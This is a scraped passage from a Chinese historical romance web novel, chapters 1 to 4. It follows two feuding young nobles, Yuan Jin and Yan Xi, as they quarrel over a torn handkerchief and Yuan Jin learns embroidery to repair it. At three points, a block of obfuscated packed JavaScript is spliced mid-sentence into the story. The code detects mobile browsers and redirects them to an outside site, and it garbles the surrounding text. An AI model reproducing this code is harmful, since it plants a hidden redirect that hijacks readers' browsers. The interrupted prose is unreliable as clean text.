《冤家对头是夫妻》 1. 第 1 章 人呢?袁瑾满腹狐疑,真是怪了,她不过才从喜宴离开一会儿怎么就找不到颜熙了?难道这厮学会飞天遁地之术了? 倒不是她有多在意颜熙,只是每次没盯住这厮,自己势必要折损点什么。 就比如上次的贵妃红,还比如上上次的蹴鞠头筹,当然最让她耿耿于怀的是儿时丢掉的花冠! 乐声渐渐远去,月光顺着屋檐缓慢地流入庭院汇成一汪澄澈的清泉。 夜风拂过,枝叶沙沙作响,蓬松的杨花打着旋地飘然而落。红纱轻盈延绵,在晚风中与月光一同描绘出风的形状。 无意间地抬眸让袁瑾窥见了藏在红纱后的惊鸿影。 青年半靠着朱红色的柱子,曲着一条腿坐在栏杆上。搭在膝盖上的手中拿着一件丝织物,骨节分明的手在月光下泛着冷白色的光泽。 他的身影在翻飞的红纱中若隐若现,让人无端地想起了志怪传说中的精怪,俊俏夺目能摄人心魄。 袁瑾观摩了一会儿心道,颜熙确实长得不错,也无怪娘子们总对他暗送秋波。当然,我是不会被他蛊惑的。 她一时不妨让春风点化绢帕上的雀儿,雀儿拍了拍翅膀带走了绢帕。连忙伸手去抓,手串上的铃铛却发出清脆的响声。 糟了!袁瑾身体一僵,绢帕也擦过指尖飘然而落,在青灰色的石砖上开出了一朵淡粉色的绢花。 光线稍暗,视野中出现了一只手,将绢帕缓缓地提到她的眼前。扬起头,对上了青年漆黑的眼眸。青年眉眼一弯,嘴角上扬,促狭之意扑面而来。 “没想到袁娘子也有果掷潘安之心,颜某当真是受宠若惊啊。”戏谑的嗓音在耳畔响起。 “我要是有果子非砸死你这个脸皮比城墙还厚的无耻之徒。还貌比潘安?真会给自己贴金。”她横了一眼颜熙,一把抢走了自己的绢帕。 颜熙也不恼,直起身子:“袁娘子也不必害羞,爱美之心人皆有之,颜某是不会嘲笑你的。” “就你还美?”袁瑾一番打量后,颇为嫌弃,“你要是美了,天底下只怕没有丑人了。” 颜熙转着扇子,托着长长的调子说道:“是吗?可我怎么觉得你是看我看得入神才把绢帕都弄掉了。” “呸,你想得美!”袁瑾心中懊恼,让你不小心,让你不小心,这下好了,白白地被颜熙捡了个笑话! 忽然瞥见颜熙朱砂色的袖口多出一点白色,看起来十分不协调。袁瑾看着不顺眼,伸手揪住了那白色的一角,轻轻一拉,一条长长的四方帕出现在眼前。细腻的绸缎上泛着月辉,粉嫩的桃花随风舞动,两只蝶绕枝飞舞。 想起颜熙刚才拿着绢帕发呆的模样,一个念头涌现在心头。只见袁瑾长眉上挑,心说好你个颜熙,原来在这睹物思人。 “你又在憋什么坏水?”颜熙用扇子敲了一下她的脑袋。 袁瑾难以置信地看着颜熙:“你敢敲我的头?” “袁娘子的头又不是纸糊的,一戳就破,颜某有何不敢?”颜熙转着扇子漫不经心道。 “牙尖嘴利。”她忍不住回嘴:“真不知道哪家娘子瞎了眼,竟看上了你了,她后半辈子真是有得受了。” 颜熙愣一愣后笑了起来。 袁瑾被颜熙笑得莫名其妙,心道颜青阳莫不是脑袋有疾?那我得离他远一点,免得一会儿也被传染了。 “哎——袁娘子拿了颜某的东西不还给颜某就要走怕是不合情理吧。”颜熙扇子一转横在了她的眼前。 袁瑾眼珠子一转,捏着绢帕在颜熙眼前晃了晃:“想要?”随后猛地收回怀中,扬起下巴冲颜熙挑衅一笑:“我不给你。” 庭院中,年轻的女郎红唇弯弯,眼波流转间尽显狡黠,像极了初出茅庐的小狐狸,聪明之余又不失可爱。 颜熙伸手去抢,却被狡猾的小狐躲了过去。在光影的画卷中,胭脂红的裙摆随风舞动,手腕处的铃铛发出清脆悦耳的响动,黄色的披帛后传来女子的嬉笑声:“不还不还,就不还!” 追逐中,颜熙抓住了绢帕的一角用力一拉,雪白的绢帕顿时被拉成一条直线悬停在两人之间,绷得笔直,似乎是在等着两人分出胜负。 颜熙扯了扯绢帕:“现在可以还给我了吧。” “休想!”袁瑾用力一拽颜熙的手臂向前倾斜了几寸。 “袁娘子,强抢实非君子所为啊。”颜熙用力一拉袁瑾踉跄了几步。 “我又不稀罕当君子。”袁瑾轻哼一声,“你拿了我那么多东西,光拿你一个绢帕我还觉得不够呢!” “没想到袁娘子如此斤斤计较,颜某真是大开眼界了。” “彼此彼此。颜郎君小气得连个绢帕都舍不得送人也是令我大开眼界。” 两人暗自较劲,绢帕终于抵不住两人的拉扯从中间撕裂,原本形影相随的蝴蝶也“大难临头各自飞了”。 救命!这绢帕怎么一点也不结实?随便一拉就坏了! 袁瑾看着已经开裂大半的绢帕,内心掀起了惊涛骇浪。她本来也就是想逗逗颜熙让他着急而已,真没想弄坏它啊! 完了完了,我非得被颜熙这个黑心肝的治死不可! 不行!我可不能坐以待毙! 袁瑾决定先发制人,仰起头看向颜熙,理不直气也壮:“这不怪我!” 颜熙没想到做错事的人竟振振有辞,难以置信地问她:“难不成还是我的错了?” “没错,就是你的错。”袁瑾打蛇上棍,狠狠地赞同,“要不是你来抢,绢帕怎会坏掉?这都是你的错。” “再说了。你这绢帕实在差劲,正好换个新的。”她将绢帕丢回给颜熙。 颜熙深吸一口气,皮笑肉不笑:“这么说我还得谢谢你了?” “那是。要不是我,你还换不了新绢帕呢。”她掸了掸衣袖,“行了,明天赔你个新的,别小心眼儿了。” 别看袁瑾此刻气定神闲,其实心虚得要命,恨不得马上逃得远远得。可惜颜熙没给她脚底抹油的机会,直接开口正中他的七寸:“哎呀呀,这可糟了。想必袁家叔父又要撮合你我了。” 袁瑾猛地转身,失声质问:“你再说一遍!” 这回换成颜熙气定神闲地掸掸袖子:“我说你叔父又要撮合你我了。” 袁瑾想起了当年的事情脸色一白。 也不知叔父当时怎么了,非说她和颜熙是珠联璧合的一对,拼了命地撮合她和颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047376|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熙。不过后来不知为何突然偃旗息鼓了,她当时光顾着高兴忘了问原因,现在一看应该与颜熙有关…… “不对,”袁瑾一脸怀疑,“你是故意诓我的吧。” “小的哪敢诓袁娘子您啊。”颜熙收起绢帕,“不信你回去问问袁家叔父,是不是因为我他才打消念头的?” 自家叔父的性格袁瑾还是了解的,说好听了是百折不挠,说难听了就是像驴一样犟。除非是遇到不可解决的情况否则他是不会放弃的。 她恍然大悟,所以叔父是知道了颜熙有心上人所以才放弃撮合她和颜熙。 娘子你真是救苦救难的观世音菩萨,你一定要跟颜熙好好的,千万别分开!千万别!她双手合十真诚祈祷。 “就这么嫌弃我?”颜熙有些受伤。 “没错!嫁给你,还不如上山做道士去。”袁瑾说得斩钉截铁。 “可惜你是上不去山喽。”颜熙晃了晃手中的绢帕,“定情信物被毁,那娘子必嫌弃颜某无用,要与我恩断义绝。到时候——” 到时候叔父肯定旧事重提,若是阿耶头脑发昏答应了,那她的下半辈子可要日日见到这个泼皮了! 不行,不行,我绝对不接受!袁瑾抗拒。 颜熙像是知道她在想什么一样,添油加醋:“唉,两看相厌的两人在一起一定会是怨偶,到时候万一因为家宅不宁被记载史书上,你我可真是‘名垂青史’了。” 袁瑾在心中尖叫,我是前世造了孽吗?为何老天要如此作弄我!看到正在偷笑的颜熙,她怒由心来:“你笑什么?我顶多勉为其难地跟你应付几年再休了你,你可是丢了未婚妻又多了个被休的名声,到时候谁被笑话还不一定呢!” “你也太狠了。”颜熙咋舌,“办法是有的,就看娘子你答不答应了。” “你说。”袁瑾一抬头就看到了颜熙眼底的笑意,她一惊,坏了,忘了这厮坏得能掐出水了。 颜熙剑眉一挑,唇瓣压成奸诈的弧度:“办法就是袁娘子你来缝补绢帕了。” 袁瑾攥紧拳头,我就知道颜熙没安好心!要她这个从没拿过绣花针的人去补绢帕那还不如让她去补天! “你——” “你想嫁给我吗?”颜熙打断了她的话。 她想也不想:“废话,当然不想。” 颜熙再问:“那你想看到我因为事情败露惨遭抛弃,然后被你叔父拉来跟你培养感情?” “前半句可以考虑,后半句坚决不行!”她郑重其事。 “……你这坏心眼儿的丫头。”颜熙抱怨了一句,继续说,“总之,不想被按头成婚,就不能走漏风声。既然不能走漏风声那就不能惊动第三人,所以此帕只能由袁娘子你亲手缝补了。”他戏谑地看着她:“袁娘子这算不算自作自受?” 袁瑾一把抢过绢帕,气鼓鼓地看着颜熙:“补就补,我袁瑾学什么不快?不就是一方绢帕吗?还不是几天的事情。” 颜熙含笑:“那我就拭目以待了。” “你就等着瞧吧!”袁瑾说得胸有成竹,心里却想掐死自己,说什么大话?自己压根就没学过女红,要在几天之内补好绢帕,这不是明摆着让颜青阳看笑话吗! 2. 第 2 章 都怪颜熙! 袁瑾一面步子飞快地向大堂走去一面在心里大骂颜熙。 要不是颜熙没用,绢帕怎么会坏?要是绢帕没坏,她何至于愁得半宿没睡着?要不是半宿没睡,她又怎么会起晚了? 今日是嫂嫂入门的第一天,她作为小姑是要早早去前堂候着以表尊敬亲厚。可昨晚被颜熙一闹,她睡过了头错过了时辰。 完了完了,这下嫂嫂肯定要认为我不尊敬她了! 该死的颜青阳,等我有空看我怎么收拾你! 一不留神袁瑾脚尖撞到了门槛,身体顿时失了平衡,脑子一片空白,等她回过神的时候人已经趴在前堂的地板上了。 众目睽睽之下以可笑滑稽的姿势摔倒,比起手心火辣辣的疼当众丢人更让袁瑾无地自容,她觉得自己可以收拾收拾归隐山林了。 臭颜熙,死颜熙,都是你害我出丑,你给我等着! 凉亭中的人儿握紧拳头,重重地锤在桌子上,杏眼浓眉间满是愤怒。 “呦,哪个不开眼的惹袁娘子生气了?” 轻佻的声音钻进了袁瑾的耳朵,一转头“始作俑者”就站在身后,摇着扇子悠哉游哉的模样让人恼火。她想,我迟早要把他的破扇子撕了。 “还能有谁?”她狠狠地剜了颜熙一眼。 颜熙展开扇子挡住了袁瑾的眼刀,一脸无辜:“旁人惹了袁娘子,小的怎么会知道呢?还请袁娘子明示。” 揣着明白装糊涂的混蛋,有本事你就一直装下去!袁瑾以迅雷不及掩耳之势掐住颜熙胳膊上的软肉用力一拧,原本侃侃而谈的颜某人立刻哑了,缓了半天才颤巍巍地说:“你偷袭。” “兵不厌诈。”她报以假笑,“我这是磨练你。” “疼疼疼,快松手!我错了,我再也不敢了,求袁娘子大发慈悲放过小的吧。”颜熙这个软骨头没坚持多久就开始讨饶,让人没有半点报复的快感。 她松开了颜熙的胳膊,嫌弃道:“瞅你这点出息,一点骨气也没有。” 颜熙揉着自己的胳膊:“用之则行,舍之则藏[1],我打不过躲着还不行吗?” 这话是这么用的吗?袁瑾不解但大为震惊。余光中瞄见颜熙在鬼鬼祟祟地移动,她一把抓住颜某人的衣袖把人按回了座位,眯起眼睛盘问:“你要干什么?” 颜熙眼神飘忽。 她怒拍着桌面:“从实招来!” “家大业大欺负人啦,师姐救——” 袁瑾堵住了颜熙的嘴强行中断了对方的话,警觉地看了一眼正在院里赏花的兄嫂二人,在确定两人没有注意到亭子里的动静后才咬牙切齿:“行啊,还学会告状了。” 颜熙移开了她的手,笑道:“谁让你的嫂嫂是我的师姐了。” 袁瑾:“……”虽然很不想承认但事实就是嫂嫂和颜熙这个讨厌鬼师出同门。两人的关系亲密,胜似亲姐弟。她留给嫂嫂的初印象实在不好,绝对不能再雪上加霜了! “怎么样,要不要讨好我让我帮你美言几句?”颜熙的脸上浮现出不怀好意地笑容,“其实我也是很容易讨好的。” 容易个屁!袁瑾腹诽,你要是那么容易打发还会把那个破绢帕丢给我? 颜熙见她不为所动,循循善诱:“有道是拿人家的手短,吃人家的嘴短——” 袁瑾顺着颜熙的目光看到了摆在自己面前的姜枣糕,被气笑了,又打我糕点的主意,撑死你算了! 府上的姜枣糕做工精致,晶莹剔透,从外形上看更像最近流行的透花糍。 袁瑾看了看颜熙又看了看面前的姜枣糕,眼珠子一转计上心来。 “这是庖厨给我做的透花糍,”她将糕点拉到自己这边,果断拒绝,“没你的份。” “袁娘子未免太小气了。”颜熙上了钩,伸手去抢。 “天天想着从我这坑蒙拐骗,你可太有出息了,颜青阳。” 她宛如老母鸡一般护住了自己的糕点,奈何敌人实在狡猾,一个没留神,一块糕点落入贼手。 “谁让袁娘子的吃□□细,颜某回味无穷啊。” 颜熙当着她的面故意咬了一大口。在糕点入口的瞬间,颜熙的脸色猛地一变,双目睁得浑圆,一只手紧握扇子,青筋凸起。 袁瑾哈哈大笑起来:“是你自己非要吃的,这可不怪我。”说完,又拿起了一块姜枣糕咬了一口,故意问颜熙:“姜枣馅的,好吃吧,” 要知道颜熙什么都好就是不能沾一点辣,每每吃到辛辣之物必要喝上一大壶水。这会儿大约是用尽了全部的修养才没有跳起来喊辣。 此时颜熙白皙的脸颊上泛着粉红,鼻翼两侧沁出汗珠,原本灵动狡猾的眼睛此刻也变得泪汪汪的,倒也有几分楚楚可怜。 看到颜熙连灌了十几杯茶水,袁瑾挑起眉梢,撇撇嘴:“你也太夸张了。” “有本事你也试试。”颜熙边抽着气边给自己倒水,缓解口腔中残留的辛辣感 她晃了晃手中的姜枣糕,一脸无辜地气人:“试了啊。是好吃的啊,要不你再尝一块?” 颜熙被噎住了:“……” 见颜熙被自己噎得说不出话,袁瑾心情大好甚至还哼起了小曲。 斑驳的阳光落在女郎未施粉黛的脸上,眉梢眼角间洋溢着得意二字。春风浮动,黄丹色的长裙勾起愉快的弧度,宝蓝色的褙子泛着光泽衬得她明亮又耀眼。 笑着笑着,袁瑾察觉到了不对劲。 颜熙怎么不说话? 气傻了? 不可能。这世上谁傻了,颜熙都不会傻。 难道他又准备算计我? 袁瑾发现颜熙正在看她。两道浓眉下泛起了微波,被水润过的红唇也弯成了一条平滑的弧线。如果她没看错,一条红色的、毛茸茸的狐狸尾巴从颜熙赭红色的圆领袍伸出,在身后缓慢地摇动。 “……”不好,情况有变!我军暂避风头。袁瑾嗅到危险立刻调整策略——走为上计。 但颜狐狸预判了她的动作,抢先一步压住了她的衣袖:“哎——这话都还没说完,袁娘子怎能不辞而别呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047377|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她拍开颜熙的手:“去去去,大白天的拉拉扯扯成何体统?难道颜郎君的书都读到狗肚子里了,男女授受不亲懂不懂?” “刚才袁娘子捂我嘴的时候可不是这样说的。”颜熙嘴上说着手却移开了。 袁瑾学着夫子的样子说道:“所谓此一时彼一时,要学会变通。” “娘子高见,颜某甘拜下风。” “那是。” 颜熙摇着扇子:“既然娘子博学多闻又善于变通,正好颜某有一件烦心事,还请娘子指点迷津。” 袁瑾立刻警觉:“你又要变着法坑我是吧。我告诉你,我才不会上当。不听!” “当真不听?” “不听!” “你确定?” “确定!” 颜熙收起扇子:“这可是你说的。那就不要怪我不通融了,几天后我可是要看到绢帕的。” 袁瑾一哽,歹毒,实在是太歹毒了。好女不吃眼前亏,我忍!她堆起笑容:“我刚才说什么了吗?没有!颜郎君请说。” “袁娘子还真是能屈能伸。”颜熙意味深长地瞧了她一眼,“可颜某辣到了嗓子恐怕不能开口说话了。” “你在说什么鬼话?辣到嗓子不能说话,那你现在是用什么跟我说话?肚子吗?”袁瑾横了颜熙一眼,“又想趁机折腾我,我才不上当!绢帕在我手里,我想什么时候补完就什么时候补完,用得着你废话。”说完,转身就走。 颜熙在身后喊道:“可你说了是几天的事情,难道要食言而肥?” “就食言而肥了怎么样?”袁瑾转过身,下巴扬得高高的,“有本事把绢帕拿回去自己想法子去!要是没有,那就按我的规矩办事!” “你也太霸道了。”颜熙抱怨。 “谁让你是个讨厌鬼,活该!”袁瑾冲着颜熙挥了挥拳头,威胁道,“你给我守口如瓶,要是让我听到什么风声,当心我——” “当心我吃不了兜着走。”颜熙自然而然地接下了她的后半句话。 “知道就好。”袁瑾哼着小曲大步离开。 颜熙撑着脸颊,嘴角噙着笑:“死鸭子硬嘴巴,有好戏看喽。” “你是不是又欺负幼瑛了?” 颜熙抬头,就看到袁家大哥缓缓走来。 不同于袁家小妹的天真活泼,袁家大哥性情沉稳又曾驰骋沙场自有一股气势。尤其是肃着脸逆光而立的时候,让人不禁想到夜至儿啼四个字。 “有姐夫这般爱护妹妹的兄长在,我哪敢欺负她啊。”颜熙冲袁珏笑了笑,随后告状,“她欺负我还差不多,刚刚还诓我吃姜枣糕,害得我喝了一壶的茶水。” “这么多年了,我还不知道你们两个。”袁珏对两人的互相捉弄习以为常,像所有可靠的兄长一样,询问颜熙,“说说吧,你们这次又做什么了?我看幼瑛这一天都心不在焉的。” 颜熙扇子一展,故弄玄虚:“天机不可泄露。” 袁珏见状按着太阳穴,叹了口气:“一场腥风血雨在所难免啊。” 3. 第 3 章 蔚蓝色的天空上嵌着金灿灿的太阳。 绢帕上的蝴蝶色彩斑斓,经过阳光的点缀更是栩栩如生。蝶绕桃花的景象本是极好的兆头,可却被自上而下的裂痕硬生生地破坏了。 袁瑾看着石桌上的绢帕头疼不已。 虽然很不想承认,但绢帕变成这样,她确实有不可推卸的责任。尽管刚才气势上压了颜熙一筹,但不意味着她要一直拖着不补,相反她得尽快补好绢帕。否则,自己就真成坏人姻缘的缺德鬼了。 唉,我昨天应该看看黄历。要是知道不宜出行,打死我我都不会去找颜青阳。我真是给我自己找了个大麻烦啊——袁瑾双手揉着脑袋长吁短叹 “原来你在这。” 略带沙哑的女声从头顶传来。袁瑾扬起头,嫂嫂陈百潼的面孔出现在眼前。 陈百潼肤色偏暗,但身姿挺拔英气,眼睛更是炯炯有神,周身散发着不可忽视的气息。一双手修长健美,搭在石桌上是说不出的好看,只是贯穿手背的旧伤令观者心惊。这是沙场十载,舍生忘死的勋章,也是那段波澜壮阔岁月的见证。 袁瑾有些激动,她自小就与其他女郎不同,比起插花品茶,更喜欢舞刀弄剑。所幸父母疼爱,许她和兄长一起学习武艺。只是她的喜好让她与其他女郎格格不入,自然没什么朋友。 在得知有一个行伍出身的嫂嫂后,她是开心的。因为她觉得非士族出身的嫂嫂或许会不一样。可是,自己心心念念的初见全毁了…… 想到这,袁瑾肩膀一塌,像被霜打的叶子,蔫头耷脑的。 “幼瑛?”陈百潼伸出一只手在她眼前晃了又晃,半是纳闷半是调侃,“伯琰是怎么跟幼瑛说我的?怎么一瞧见我,不是像老鼠见了猫就是像病怏怏的小狗崽子?” 哎?这好像跟我想的不一样。袁瑾眨巴着眼睛,试探着问:“嫂嫂不嫌我没规矩?” “规矩?我自小在边境长大,生性自由,最讨厌规矩了。”陈百潼左瞧瞧右瞧瞧,压低声音,“实不相瞒,从昨晚婚宴到早上用膳可憋死我了。你们高门大户的规矩真是磨人——”嫂嫂停顿,恍然大悟,“原来幼瑛一见我就不安是因为这个?” 见自己误会了陈百潼的为人,袁瑾白净的小脸上刷地一下红了起来,像极了熟透的果子。 “幼瑛真是个可人儿。” 陈百潼见了其喜欢,伸出手揉着袁瑾的脸颊,掌心粗糙却很温暖,让人感到安心。 陈百潼收回了手:“青阳说幼瑛你会很对我心思,原本我是半信半疑,现在一见,确如他所言。” 颜青阳狗嘴吐象牙了?袁瑾一愣。 陈百潼拿起桌子上的绢帕:“我瞧你一上午都怏怏不乐,是因为它?” 袁瑾点了点头。 “青阳那小子弄坏的吧。”陈百潼十分肯定,“我说他怎么巴巴地凑到你眼前,感情是干了坏事,你等着,我改天就替你教训他。” 见陈百潼误会,袁瑾也不解释。谁让颜青阳说不能走露风声,那这个罪名只好他自己担着了。她毫无心理负担地推卸责任。 “走,我带你去买条新的。” 陈百潼不愧是将军,做事干净利落一点也不拖泥带水。但她并不是想要新绢帕而是想要缝补这条绢帕。 “为什么?”陈百潼促狭,“难道是情郎送的?” 眼见要引火上身,她急中生智:“不不不,这绢帕是表姐送我的。”大约是开了头,接下来的谎话也变得流畅:“一针一线皆是她的心意,不小心弄坏了,我很愧疚的……” 陈百潼了然:“我明白了,你不想让表妹知道绢帕坏了。” 袁瑾认真点头,双手合十恳求陈百潼保密。 陈百潼:“保密倒不难。但我觉得表妹是个通情达理的人,幼瑛你也不是故意的,据实相告即可何必如此大费周折?” 因为压根没这回事啊。袁瑾在心里回答。 但好在陈百潼也没有深究,而是问道:“那你打算怎么办?总不能一直瞒下去吧。” 我也想解决这个大麻烦啊,可是到现在都没想到解决办法……袁瑾头疼。 “啊,我有办法了。”陈百潼忽然说。 “嗯?” 还没反应过来,袁瑾便被陈百潼拉走了。等她回过神,人已经出现在崔家的东厅了。 看着眼前容貌出众的贵妇人,袁瑾的脑海中想起了人们对她的赞扬——才貌双全,温柔典雅,仿佛世上一切美好的词语都为她而生。毫不夸张地说,崔夫人是天下女子的楷模。 不过自从崔夫人的丈夫去世后,她就一直寡居在家鲜少见客。袁瑾没想到她竟会不远千里赶回陈郡。 “我是居丧之人不好亲自前去观礼,还请你不要介意。”崔夫人柔声道。 “夫人说得哪里的话,自义父去后陈家就只剩下我与师弟了,若非您慷慨相助,我还真不知道该如何是好。”陈百潼看向崔夫人,“蒙您相助却迟来道谢,应是晚辈请您原谅才是。” 崔夫人笑得温柔:“我与你义父是故交,你有难处,我自是要帮忙的。” 原来陈大将军和崔夫人是故交啊。袁瑾颇为惊讶。毕竟在她的印象里高门大户里的郎君娘子大多鄙夷出身不高的人,就更别说交朋友了。 袁瑾的目光落向了陈百潼的脖颈,一条水晶项链引人注目,那是崔夫人的贺礼。 晶莹剔透的水晶珠穿成一串,主珠是一颗青金石,青金石下是红玉髓花蕊。袁瑾心道,崔夫人是不愧世家出身的女郎,眼光就是好。 “说起来晚辈想请夫人帮个忙。”陈百潼开口。 “你说。”崔夫人抿了口茶汤。 陈百潼:“幼瑛想亲手绣一方手帕送给萧表妹,只是不通此道。晚辈想夫人女红一绝,所以厚着脸皮替幼瑛求夫人教一教她。” 袁瑾察觉到崔夫人看向自己,不禁绞着手帕,担心对方会婉拒。谁让她“恶名”在外,实在不讨贵妇人们的喜欢。 不料崔夫人竟答应了:“你好不容易开一次口,我是一定会答应你的。” 听到此话袁瑾心中的大石头落了地,心说看来我也算是沾了嫂嫂的光。 “人生大事”有了着落后,她便寻了个借口出去了,把东厅留给了叙旧的两人。 崔府气派宏大,园林更是秀美。泛着光的琉璃瓦整齐地排列在屋顶上,突起的屋檐向上撅起,长廊长而曲折,朱红色的柱子在阳光下越发鲜艳。白砖堆叠成的小桥横卧在水波上,池中鱼儿时隐时现,似乎在与桥上人玩耍。 袁瑾扶着栏杆感叹,到底是清河崔氏,即便是旁支也不是寻常世家可以比拟的。 远处走来了两个仆从,手中抬着一扇屏风。宽大的屏面上是马球图,骏马昂首奋蹄,骑士表情生动,让人难以想象的是这幅佳作竟是由绣线一针一线绣出来的! “咱们家大娘的女红真是一绝。”一个仆从感叹,“难怪那些娘子们都会向大娘求教。” 另一个仆从说:“是啊,我听就连袁家的那位也来求学了。现在就在东厅呢。” “学女红?她不是说打死也不学女红,怎么又转性了?” “谁知道。说不定是开窍了觉得自己太丢人了。一个世家女不会针织女红天天舞刀弄剑,袁家的脸都让她丢尽了。” “可不,我要是有这样顽劣的女儿只怕头发都要愁掉了……” 两个仆从恶劣的言语如钢针扎进袁瑾的心房,令她疼痛难忍,又如从天而降的热油浇在心头,勾起了她无尽的怒火。 敢嚼你姑奶奶我的舌根子,看我不撕烂你们的狗嘴!只见袁瑾大步上前一脚踹在仆从的后背上。 笑得正欢的仆从冷不防地被人踹一脚顿时摔了个“狗吃屎”,他哼哧哼哧地从地上爬起来,怒视着袁瑾:“你是谁?竟敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047378|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在崔府放肆!” 袁瑾怒极反笑:“怎么刚才说得那么起劲,现在就忘了我是谁了?” 背地说人坏话被人抓个正着,仆从脸色大变。但他马上回过神,大声道:“我们是崔家的人,即便是冒犯了袁娘子也该是我们主家惩罚。袁娘子总不能越俎代庖坏了规矩,当心丢了袁家的脸面!” 原想着给两个人一点教训就罢了,结果这两人竟然威胁她!他们难道不知道她这辈子最讨厌别人威胁她吗? 袁瑾神色冰冷:“都说高门大户的仆人傲慢无礼,崔氏的仆人更是青出于蓝而胜于蓝[1]。我今日算是见识了。” 她不屑道:“少拿清河崔氏压我。我堂堂陈郡袁氏的女郎被崔家的家仆羞辱,传出去也是你们崔家丢人,我有什么好怕的。我今日就算打烂你的嘴,你们崔家也说不出我的错来。” 两名仆从没料到自己弄巧成拙,惊愕之余又感到害怕,想到袁瑾的恶名更是站都站不稳。 袁瑾看着地上浑身发抖的两人,满目鄙夷,狗仗人势的东西,往日里还不知道怎么仗势欺人呢。 忽然一人冲着她身后喊道:“郎君,救我!” 袁瑾转过头,在长廊的转角处,站着个眉如墨泼,面若冠玉的郎君。 “怎么,来给你家的仆人讨回公道?”袁瑾环着手臂一脸戒备地看着来人。 “不。”对方解释,“崔某绝无此意。他们二人出言不逊冒犯了娘子,娘子教训他们也是应该的。” 这下换成袁瑾愣住了,竟然不是来指责我? 那郎君对着跪在地上的两个人说道:“你们两个背后说长道短,搬弄是非,又冲撞客人,已是坏了府中规矩,去找管事结了工钱拿回佣契,去别处谋生吧。” 两人想央求崔家郎君开恩留下他们,但见对方不容拒绝只好作罢,灰溜溜地离开了。 袁瑾撇嘴,对这个结果称不上不满意也称不上满意。 崔家郎君冲她作揖:“让娘子心生不快,还请娘子见谅。” 袁瑾上下打量了那郎君一眼:“呵,好人是你,坏人是我,你们崔家的算盘打得真响。” 崔家郎君先是一愣而后轻笑起来,那笑容犹如春风拂面带走了所有的不快。他温声道:“娘子果如传闻所言,直率烂漫。” 袁瑾有些不知所措,这还是她第一次从别家的同龄人口中听到赞美的话。 桃花的清香从远处飘来,缓缓进入肺腑充盈了整个身躯,让人有一种飘飘然的感觉…… “喂,回神了。人都走远了。” 一只手在眼前晃动,袁瑾毫不留情地拍掉,问颜熙:“怎么在这?” “我从刚才到现在不是一直都在吗?”颜熙不满道,“我看你就是看人家崔郎君看痴了。” “是又怎么样?”她点着颜熙的肩膀,理直气壮道,“谁让你长得不如人家好看。” “嘿,你这话有失偏颇吧。我哪里长得不如崔通古了?做人可不能昧着良心!”颜熙不满。 “我说什么就是什么,你说得不算。”她扬起下巴。 珰珠制成的项链,光彩夺目,衬得袁瑾的脖颈修长白皙。颜熙移开了视线,抱怨着:“你也太霸道了吧。”随后又小声嘀咕:“可怜崔家郎君竟然被你这个天魔星看中了,也不知道他的小身板能不能经得起你的摧残——” 话还没说完,他就倒抽一口凉气,捂着自己被踩得生疼的脚左摇右晃。耳边是袁瑾爽朗的笑声,不用猜就知道是这丫头说不过他搞偷袭。他嚷嚷道:“袁小幺你胜之不武!” 袁瑾拍了拍裙子,得意洋洋地看着他,像是故意挑衅一样哈哈大笑。那欢快的笑声回荡在耳畔,让听到的人也不禁心情愉悦展露笑颜。 黄丹色的绦带随风飘动,就像袁瑾本人那样——永远恣意无拘。颜熙看着看着气也消了,笑骂道:“你这个态度恶劣的臭丫头。” 4. 第 4 章 她怎么在这? 颜熙在阁楼上赏景,无意间瞧见了在亭中学女红的袁瑾。他猜,应该是师姐帮袁小幺请来了崔夫人这个援手。 不比绣娘的娴熟,袁瑾这个初出茅庐的学徒每绣一针总要瞻前顾后,犹豫不决,尽管万分小心依旧是绣错了。 真笨,颜熙在心里评价。 见袁瑾不厌其烦地拆了再绣,颜熙又想,都说袁家娘子娇蛮任性,不学无术,可谁知道她下定决心后会多刻苦钻研? 颜熙摸了摸自己的胸口,觉得良心有点痛。 那晚他情绪上头,说了一段真假掺半的往事。本意是想吓唬吓唬袁小幺,过几天再告诉她真相,谁知道这丫头竟信以为真跑到崔府来学女红。 啊,这下有点难收场了。他用扇子敲了敲自己的头,要是让袁小幺发现她千辛万苦缝补的绢帕其实根本不是什么定情信物,他大概会死无全尸吧。 “欲问君何在?原在此间中。”崔闻信步而来,在看清他的动作后不免疑惑,“你——怎么捂着脸?可是磕着了?” 颜熙这才发现自己下意识地做了一个摸脸颊的动作。但为了自己的脸面,打死他他都不会外传此事,打了个哈哈糊弄了过去。 崔闻没深究,而是顺着颜熙的目光看去。在看清亭下人后,嘴角上扬:“野有蔓草,零露溥兮。有美一人,清扬婉兮[1]。” “温婉?”颜熙摇头,“你还是不了解她。” 